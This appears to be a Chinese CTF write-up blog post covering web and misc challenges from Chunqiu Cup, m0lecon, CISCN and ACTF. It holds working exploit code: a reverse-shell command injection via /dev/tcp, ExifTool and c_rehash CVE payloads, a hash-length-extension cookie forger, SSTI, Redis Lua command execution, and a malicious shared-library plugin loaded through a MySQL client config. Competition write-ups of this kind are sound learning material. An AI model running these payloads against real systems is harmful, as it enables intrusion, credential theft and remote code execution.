133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
from flask import Flask, request
from werkzeug.utils import secure_filename # 获取上传文件的文件名
import random
import hashlib
import shutil
import subprocess
import pickle
import pandas as pd
import os,stat
import re

UPLOAD_FOLDER = r'/tmp/upload/' # 上传路径
ALLOWED_EXTENSIONS = set(['php']) # 允许上传的文件类型

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER



with open('/tmp/vec-model.pkl', "rb") as file: vectorizer = pickle.load(file)
with open('/tmp/rfc-model.pkl', "rb") as file: rfc = pickle.load(file)
# vectorizer = joblib.load('vectorizer.pkl')
# rfc = joblib.load('rfc.pkl')

RD, WD, XD = 4, 2, 1
BNS = [RD, WD, XD]
MDS = [
[stat.S_IRUSR, stat.S_IRGRP, stat.S_IROTH],
[stat.S_IWUSR, stat.S_IWGRP, stat.S_IWOTH],
[stat.S_IXUSR, stat.S_IXGRP, stat.S_IXOTH]
]


def chmod(path, mode):
if isinstance(mode, int):
mode = str(mode)
if not re.match("^[0-7]{1,3}$", mode):
raise Exception("mode does not conform to ^[0-7]{1,3}$ pattern")
mode = "{0:0>3}".format(mode)
mode_num = 0
for midx, m in enumerate(mode):
for bnidx, bn in enumerate(BNS):
if (int(m) & bn) > 0:
mode_num += MDS[bnidx][midx]
os.chmod(path, mode_num)

def index_of_str(s1, s2):
res = []
len1 = len(s1)
len2 = len(s2)
if s1 == "" or s2 == "":
return -1
for i in range(len1 - len2 + 1):
if s1[i] == s2[0] and s1[i:i+len2] == s2:
res.append(i)
return res if res else -1

def detector(each_filepath):


print("模型成功加载")

each_path = "/tmp/upload/test.php"
try:
a = subprocess.Popen(["php -dvld.verbosity=1 -dvld.active=1 -dvld.execute=1 " + each_filepath],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE, shell=True)
with open(each_filepath+".op", "wb") as fp:
fp.write(a.communicate()[1])
fp.close()
print(each_path)
words_operands = ""
words_op = ""
with open(each_filepath+".op", "r") as fp:
tmp = fp.readlines()
flag = 0
idx_op = 0
data = []
all_data = []
for i in range(0, len(tmp)):

if "\n" == tmp[i]:
if flag == 1:
all_data.append(data)
data = []
flag = 0
if flag == 1:
# print(each)
a = tmp[i][:-1]
each_op = a[idx_op:idx_fetch].lstrip().rstrip()
each_operands = a[idx_operands:].lstrip().rstrip()
each_return = a[idx_return:idx_operands].lstrip().rstrip()
data.append([each_op, each_return, each_operands, 1])
words_operands += each_operands + " "
words_op += each_op + " "

if "---" in tmp[i]:
flag = 1
idx_op = index_of_str(tmp[i - 1], "op")[0]
idx_operands = index_of_str(tmp[i - 1], "operands")[0]
idx_fetch = index_of_str(tmp[i - 1], "fetch")[0]
idx_return = index_of_str(tmp[i - 1], "return")[0]

except:
print("can't parse")
exit(0)

vector = vectorizer.transform([words_op])
print(vector.shape)
vec = vector.toarray()

print(vec)

df = pd.DataFrame(vec)

print(rfc.predict(df))
if rfc.predict(df) == 1:
return 1

def gen_path():
seed = "1234567890abcdefghiZQAXSWCDEVFRBGTNHYJMUKOLPjklmnopqrstuvwxyz"
sa = []
for i in range(15):
sa.append(random.choice(seed))
salt = ''.join(sa)
print(salt) # 打印显示的随机字符
hash = hashlib.md5()
hash.update(salt.encode())
md5_test = hash.hexdigest()

return md5_test


import os


def mkdir(path):
folder = os.path.exists(path)

if not folder: # 判断是否存在文件夹如果不存在则创建为文件夹
os.makedirs(path) # makedirs 创建文件时如果路径不存在会创建这个路径


def allowed_file(filename): # 验证上传的文件名是否符合要求,文件名必须带点并且符合允许上传的文件类型要求,两者都满足则返回 true
return '.' in filename and \
filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS

@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST': # 如果是 POST 请求方式
file = request.files['file'] # 获取上传的文件
if file and allowed_file(file.filename): # 如果文件存在并且符合要求则为 true
filename = secure_filename(file.filename) # 获取上传文件的文件名
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename)) # 保存文件
if detector('/tmp/upload/'+filename):
return 'not allowed!' # 返回保存成功的信息
else :
dir_name = gen_path()
upload_path = "/var/www/html/"+dir_name + '/index.php'
upload_dir = '/var/www/html/' + dir_name + '/'
mkdir(upload_dir)
shutil.move(os.path.join(app.config['UPLOAD_FOLDER'], filename), upload_path)
chmod(upload_dir,555)
return upload_path.replace("/var/www/html/","/shell/")
# 使用 GET 方式请求页面时或是上传文件失败时返回上传文件的表单页面
return '''
<!doctype html>
<title>Upload new File</title>
<h1>Upload new File</h1>
<form action="" method=post enctype=multipart/form-data>
<p><input type=file name=file>
<input type=submit value=Upload>
</form>
'''

os.system("service apache2 restart")
app.run("0.0.0.0",5000)

春秋杯

[web]picture_convert

核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route('/upload', methods=['GET', 'POST'])
def upload():
type = request.form.get("type", "jpg")
file_info = request.files['file']
file_data = file_info.read()
if check_data(file_data):
return "No hacker"
f = open("./static/images/tmpimg", 'wb')
f.write(file_data)
f.close()
new_filename = str(uuid.uuid4()) + '.' + type
session["filename"] = new_filename
print(new_filename)
return "文件上传成功,其他模块还在开发中~~~"

@app.route('/convert', methods=['GET'])
def convert():
print(f"su - conv -c 'cd /app/static/images/ && convert tmpimg {session['filename']}'")
os.system(f"su - conv -c 'cd /app/static/images/ && convert tmpimg {session['filename']}'")
json_data = {"path": session['filename']}
return json.dumps(json_data)

session[‘filename’] 处可控,可以命令注入

发包,弹个shell,然后cat flag* 就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /upload HTTP/1.1
Host: eci-2ze052u8r1rhe9sxadr3.cloudeci1.ichunqiu.com:8888
Content-Length: 389
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVrVSavkEhau25WE2
Origin: http://eci-2ze052u8r1rhe9sxadr3.cloudeci1.ichunqiu.com:8888
Referer: http://eci-2ze052u8r1rhe9sxadr3.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1651813802; ci_session=f5b19a1595270547cebe75ae6ce4227dbd3e59b1; __jsluid_h=d234c46bd056a4881f51aef688ff89ac
Connection: close

------WebKitFormBoundaryVrVSavkEhau25WE2
Content-Disposition: form-data; name="type"

jpg';bash -c 'exec bash -i &>/dev/tcp/ip/11011 <&1';'
------WebKitFormBoundaryVrVSavkEhau25WE2
Content-Disposition: form-data; name="file"; filename="123.png"
Content-Type: image/png

test
------WebKitFormBoundaryVrVSavkEhau25WE2--

[web]picture_convert_plus

打 cve CVE-2021-22204

https://www.anquanke.com/post/id/266606#h3-13

1
2
3
4
5
6
7
8
9
10
11
printf 'P1 1 1 0' > moo.pbm

cjb2 moo.pbm moo.djvu

printf 'ANTa\0\0\0\36"(xmp(\\\n".`(echo 2>/tmp/4)`;#"' >> moo.djvu

这里的36用python2 oct(len('"(xmp(\\\n".`(echo 2>/tmp/4)`;#"'))
算出来的
(里面放命令)

测试用的su - exif -c '/app/exiftool-12.23/exiftool /app/static/moo.djvu'

能执行命令,exif权限….

拿到一半flag,另一半的flag没打通,赛后问了一下苏安师傅,非预期,直接在/proc下grep flag ….

官方wp没出,题目环境还要认证,,盖章,,乌鱼子

m0lecon

[web]fancynotes

hash拓展攻击 https://www.cnblogs.com/pcat/p/5478509.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import hashpumpy
from base64 import b64encode
import requests
proxies = {"http": "http://192.168.0.110:8080"}
def req(exp):
burp0_url = "https://fancynotes.m0lecon.fans/notes"
burp0_cookies = {"user": exp}
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Sec-Ch-Ua": "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"", "Sec-Ch-Ua-Mobile": "?0", "Sec-Ch-Ua-Platform": "\"Windows\"", "Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "https://fancynotes.m0lecon.fans/login", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, allow_redirects=False)
if r.status_code==302:
print(r.status_code)
else:
print(burp0_cookies)
exit()

def gencookie(i):

res = hashpumpy.hashpump("17cb085301c56cbf64bacf48bff77a6776940745c895babd8df05e85da1ee1cc",
"username=L111,locale=en", ",username=admin", i)
print(res)
sign = res[0]
userstr = res[1]
cookie = b64encode(userstr+b'|'+sign.encode())
print(cookie)
return cookie.decode()

def fuck():
for i in range(15,40):
print(i)
exp = gencookie(i)
req(exp)
fuck()

[web]Dumb Forum

有一个ssti
注册邮箱处

1
t{{url_for.__globals__.os.environ}}@qq.com

没能RCE 从环境变量中拿到flag

[misc] Placey

头像处有上传点,上传报错得到ExifTool 12.37
CVE-2022-23935

构造filename=L1ao;cmd |可执行命令
但是很多东西都没有

1
Content-Disposition: form-data; name="avatar"; filename="97341154_p0_master21200.jpg;echo base64==|base64 -d|bash -i |"

反弹shell

打redis
https://www.adminxe.com/3620.html

1
2
3
4
5
6
7
appuser@placey2:/root/quart$ redis-cli -h 127.0.0.1
redis-cli -h 127.0.0.1
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0
Linux placey2 5.10.112-108.499.amzn2.x86_64 #1 SMP Wed Apr 27 23:39:40 UTC 2022 x86_64 GNU/Linux

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /root/flag.txt", "r"); local res = f:read("*a"); f:close(); return res' 0
ptm{th3r3_w1ll_n3v3r_b3_@_pl@c3y_l1k3_h0m3y}

CISCN

[web]ezpop

web签到题

网上直接有链子,如果网上没有话也不至于签到…

https://m.freebuf.com/vuls/321546.html

[web]online_crt

uri可控,可以伪造任意http请求头

学点go c.Request.URL.RawPath 给请求头斜杆任意一个编个码,不然这个就为空

最好本地测试

然后就是考 c_rehash 这个的 CVE-2022-1292

网上没有现成的poc 找到一个 https://www.bilibili.com/video/BV1P54y1Z7S6/

但是这个 用 && 如果前面命令失败就不会执行后面的命令 所以改成用 ; 只需要一个证书即可

也可以自己分析一下,像我这么菜都看得懂了

perl里面 反引号 ` 会执行命令

定位一下

1
2
3
4
my ($hash, $fprint) = `"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"`;
# 如果我们的文件名为 be3862b0-6e41-448e-b30a-e627dda06cac.crt";ls>1;echo ".crt
# 就会执行这个命令 "$openssl" x509 $x509hash -fingerprint -noout -in "be3862b0-6e41-448e-b30a-e627dda06cac.crt";ls>1;echo ".crt"
# 上面命令里的其他变量我没写..$openssl $x509hash

还有一点就是重命名的话 最好base64 编码一下,不然如果有 / 的会导致rename失败

还得注意你的payload 如果你把你的命令输出到static文件夹下的话,要注意文件内容是否有被其他命令覆盖了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python3
import requests
from urllib.parse import quote
import base64

def gen_crt(target_url): # 生成一个证书
dataa = {
"City":"CN",
"CommonName":"CN&Country",
"CN&EmailAddress":"CN%40CN.CN",
"OrganizationalName":"CN",
"Province":"CN",
"submit":""
}
r = requests.post(url=target_url+"getcrt",data=dataa)
c1 = r.text[11:]
print(c1)
return c1

def rname(fname,target_url,cmd): # 重命名这个证书
rname_url = target_url + "proxy"
command = fname + '";{};echo ".crt'.format(cmd)
command = quote(command, 'utf-8')

uri = """/admin%2Frename?oldname={}&newname={} HTTP/1.1
Host: admin
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

x=""".format(fname,command) # 构造任意http包

# print(uri)
dataa = {
"uri":uri
}
r = requests.get(url=rname_url,data=dataa)
# print(r.text)

def rce(rce_url):
rcee_url = rce_url + "createlink"
r = requests.get(url = rcee_url)
res_url = rce_url + "static/crt/1" # 这里我把命令结果输出到1里面...
r = requests.get(url = res_url)
print(r.text)

if __name__ == "__main__":
url = "http://1.14.71.254:28981/"

cmd = "rm *;cat /etc/passwd > 1" # rename 时候不能有 / 因为有 / 会有目录bug 可以使用base编码 还要bug的原因是可能命令重叠了
base_cmd = f"echo {base64.b64encode(cmd.encode()).decode()}|base64 -d|bash -i" # 对命令进行base64编码
print(base_cmd)
cmd = base_cmd

fname = gen_crt(url)
rname(fname,url,cmd)
rce(url)

ACTF

[web]myclient

mysqli_options 可控

https://www.php.net/manual/zh/mysqli.options.php

设置 MYSQLI_INIT_COMMAND 执行任意sql语句

设置 MYSQLI_READ_DEFAULT_FILE 可以从指定的文件中读取客户端配置选项

写入一个恶意so文件和一个自定义客户端配置 然后加载客户端配置会去加载自定义plugin.so实现客户端rce

https://dev.mysql.com/doc/c-api/5.7/en/c-api-plugin-interface.html

a client that supports the use of authentication plugins normally causes a plugin to be loaded by calling mysql_options() to set the MYSQL_DEFAULT_AUTH and MYSQL_PLUGIN_DIR options:

恶意so生成

1
2
3
4
5
6
7
#define _GNU_SOURCE
#include <stdlib.h>
__attribute__ ((__constructor__)) void preload (void)
{
system("touch /tmp/pwned");
}
//# gcc evil450.c -o evil450.so --shared -fPIC
1
2
3
4
5
6
7
//mmmmy.cnf
[client]#
plugin_dir=/tmp/e10adc3949ba59abbe56e057f20f883e #
default_auth=evil450 #
default_authentication_plugin = evil450 #
default_authentication = evil450 #
init-command=SELECT 0x(恶意so的十六进制) INTO DUMPFILE "/tmp/e10adc3949ba59abbe56e057f20f883e/evil450.so";#

mysql写文件把mmmmy.cnf 写入 /tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf 然后访问

http://ip:port/index.php?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf

执行任意命令

文件分块传输,最后用sql语句拼接,exp:

mysql 写文件会在行末加 \ 注意截取 别吞byte 会导致so损坏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import requests
url = "http://124.71.205.170:10047/index.php"
payload = []
with open("res1.txt","r") as f:#res1.txt 是 mmmmy.cnf文件的十六进制
file_data = f.read()
i = 0
j = 0
while i < len(file_data):
if i + 1000 > len(file_data):
values = file_data[i:]
else:
values = file_data[i:i + 1000]
i = i + 1000
j = j + 1
payload+=[values]
#分块长度,1000个十六进制,500个字符
length = int(500)
#生成分块文件的sql语句
filenames = []
i=0
for v in payload:
filename = "/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS"+str(i)
filenames += [filename]
sql = "select 0x"+v+" into outfile '"+filename+"'"
print(sql)
i+=1
params = {
"key" : 3,
"value" : sql
}
resp = requests.get(url,params)
print(resp.text)
#文件合并
sqlinit = "select 0x"+payload[1]+" into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp1'"
params = {
"key" : 3,
"value" : sqlinit
}
resp = requests.get(url,params)
i=1
for v in filenames:
if i==len(filenames)-1:
break
sql2 = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp"+str(i)+"'),1,"+str(length*(i))+")),(select substr(load_file('"+filenames[i+1]+"'),1,"+str(length)+"))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp"+str(i+1)+"';"
print(sql2)
params = {
"key": 3,
"value": sql2
}
resp = requests.get(url, params)
i += 1
sqlinit = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS0'),1,505)),(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp58'),1,28582))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf';"#mysql写文件换行会在行末加 \ 注意截断,自己debug
params = {
"key" : 3,
"value" : sqlinit
}
resp = requests.get(url,params)
requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf")
requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf")